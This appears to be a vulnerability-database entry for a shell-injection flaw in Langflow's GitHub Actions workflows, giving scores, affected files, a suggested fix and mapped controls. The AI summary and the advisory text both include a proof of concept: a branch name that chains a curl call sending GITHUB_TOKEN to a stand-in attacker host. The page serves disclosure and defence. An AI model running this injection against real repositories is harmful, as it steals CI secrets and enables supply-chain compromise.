Cyber Resilience

CVE-2026-33475

RCE in Langflow ≤ 1.9.0

Published
24 March 2026
Modified
24 March 2026
Patch / advisory
CVSS Score v3.1 9.1
Click a component to see what it means
Raw vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score 0.030 86th percentile
Risk Priority 72 floored blend · peak EPSS

Summary

CVE-2026-33475 is a critical-severity Injection (CWE-74) vulnerability in Langflow Langflow. Its CVSS base score is 9.1 (Critical).

Operationally, exploitation aligns with the MITRE ATT&CK technique Command and Scripting Interpreter (T1059); ranked in the top 14% of CVEs by exploit likelihood; it is not currently listed in the CISA KEV catalog; a public proof-of-concept is referenced.

This vulnerability is AI-related — categorised as LLM Application Platforms; in the Supply Chain and Deployment risk domain.

The strongest mitigations our analysis identified map to SA-11 (Developer Testing and Evaluation) and SI-10 (Information Input Validation) — see the control section below for these in your framework.

Deeper analysis AI-assisted summary

Synthesised by an AI model from the NVD description and linked references — a reading aid, not an authoritative source.

CVE-2026-33475 is an unauthenticated remote shell injection vulnerability in multiple GitHub Actions workflows within the Langflow repository, a tool for building and deploying AI-powered agents and workflows. The issue affects versions prior to 1.9.0 and stems from unsanitized interpolation of GitHub context variables, such as `${{ github.head_ref }}` or `${{ github.event.pull_request.head.ref }}`, directly into `run:` steps. This allows arbitrary shell command injection through user-controlled inputs like branch names, pull request titles, or custom inputs. Affected files include `.github/actions/install-playwright/action.yml`, `.github/workflows/deploy-docs-draft.yml`, `.github/workflows/docker-build.yml`, `.github/workflows/release_nightly.yml`, `.github/workflows/python_test.yml`, and `.github/workflows/typescript_test.yml`.

Any unauthenticated attacker can exploit this by forking a public Langflow repository with GitHub Actions enabled, creating a branch with a malicious name containing shell commands (e.g., `injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN`), and opening a pull request to the main branch. When the workflow triggers, such as `deploy-docs-draft.yml`, the injected commands execute with CI privileges, enabling full access to secrets like `GITHUB_TOKEN`, exfiltration of sensitive data, pushing malicious tags or images, tampering with releases, or broader supply chain compromise. The vulnerability has a CVSS score of 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) and maps to CWE-74 and CWE-78.

Langflow version 1.9.0 patches the vulnerability. The GitHub security advisory (GHSA-87cc-65ph-2j4w) recommends refactoring workflows to avoid direct interpolation of user-controlled GitHub context variables in `run:` steps, instead using environment variables wrapped in double quotes, such as `env: BRANCH_NAME: ${{ github.head_ref }}` followed by `run: echo "Branch is: \"$BRANCH_NAME\""` . This ensures proper sanitization and prevents command injection.

Langflow's focus on AI-powered agents and workflows gives this CI/CD vulnerability particular relevance to AI/ML supply chains, as compromises could propagate tainted artifacts into production AI deployments.

OWASP Top 10 for Web (2025)

EU & UK References

Vulnerability Data

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{…

more

github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

CWE(s)

AI Security AnalysisAI

AI Category
LLM Application Platforms
Risk Domain
Supply Chain and Deployment
OWASP Top 10 for LLMs 2025
None mapped
Classification Reason
Matched keywords: ai, langflow

Related Threats

MITRE ATT&CK Enterprise Techniques

T1059 Command and Scripting Interpreter Execution
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.
T1059.003 Windows Command Shell Execution
Adversaries may abuse the Windows command shell for execution.
T1059.004 Unix Shell Execution
Adversaries may abuse Unix shell commands and scripts for execution.
T1190 Exploit Public-Facing Application Initial Access
Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network.
T1221 Template Injection Stealth
Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts.
T1659 Content Injection Initial Access
Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic.
Derived from this CVE’s CWE(s) via the direct CWE→ATT&CK cross-walk.

CVEs Like This One

CVE-2026-12940Same product: Langflow Langflow
CVE-2026-17623Same product: Langflow Langflow
CVE-2026-17625Same product: Langflow Langflow
CVE-2024-36420Shared CWE-74
CVE-2023-31209Shared CWE-74, CWE-78
CVE-2026-55427Shared CWE-74, CWE-78
CVE-2023-39659Shared CWE-74
CVE-2024-49380Shared CWE-74, CWE-78
CVE-2023-39661Shared CWE-74
CVE-2024-10919Shared CWE-74, CWE-78

Affected Assets

langflow
langflow
≤ 1.9.0

Mitigating Controls

Control response

Prevent
Stop it (NIST 800-53)

Detect
Catch it (NIST detect / respond)

Harden
Shrink the surface (DISA STIG)

Validate
Prove the fix (OWASP ASVS)
  • V1.2.1
  • V1.2.3
  • V1.2.5
  • V1.2.8

Mitigating Controls (NIST 800-53 r5) AI

Developer testing and evaluation can discover missing or incorrect command sanitization during development.

SI-10 directly requires validation of information inputs to reject malformed or special-element content before it reaches downstream parsers.

Least privilege reduces the permissions available to any process that could be subverted by injected commands.

Least functionality restricts available OS commands and interpreters, limiting the blast radius of injection.

Secure engineering principles require proper neutralization of untrusted input before command construction.

Mitigating Controls (NIST CSF 2.0) AI

Derived directly from the weakness types (CWEs) cited in the NVD entry via our AI-authored CWE→CSF cross-walk (authority under review) — links open the control.

PR.PS-06 mostly match
prevents

Secure SDLC practices directly require input validation and output encoding that prevent injection flaws.

PR.PS-02 partial match
prevents

Routine patching/maintenance can remediate known command-injection CVEs in dependencies (partial forward) but does nothing to stop developers from introducing improper neutralization in custom code (none reverse).

Mitigating Controls (ISO/IEC 27001:2022 Annex A) AI

Derived directly from the weakness types (CWEs) cited in the NVD entry via our AI-authored CWE→ISO cross-walk (authority under review) — links open the control.

finds

Security testing in development catches injection vulnerabilities before release.

A.8.15 Logging partial match
finds

Logging supports detection of injection attempts but does not prevent the weakness.

finds

Monitoring activities can identify active injection attacks after they occur.

prevents

Secure development life cycle mandates input validation and output encoding that directly prevent injection flaws.

prevents

Application security requirements explicitly call for controls against injection attacks in software design.

prevents

Secure architecture principles reduce injection surfaces but do not prescribe specific neutralization techniques.

References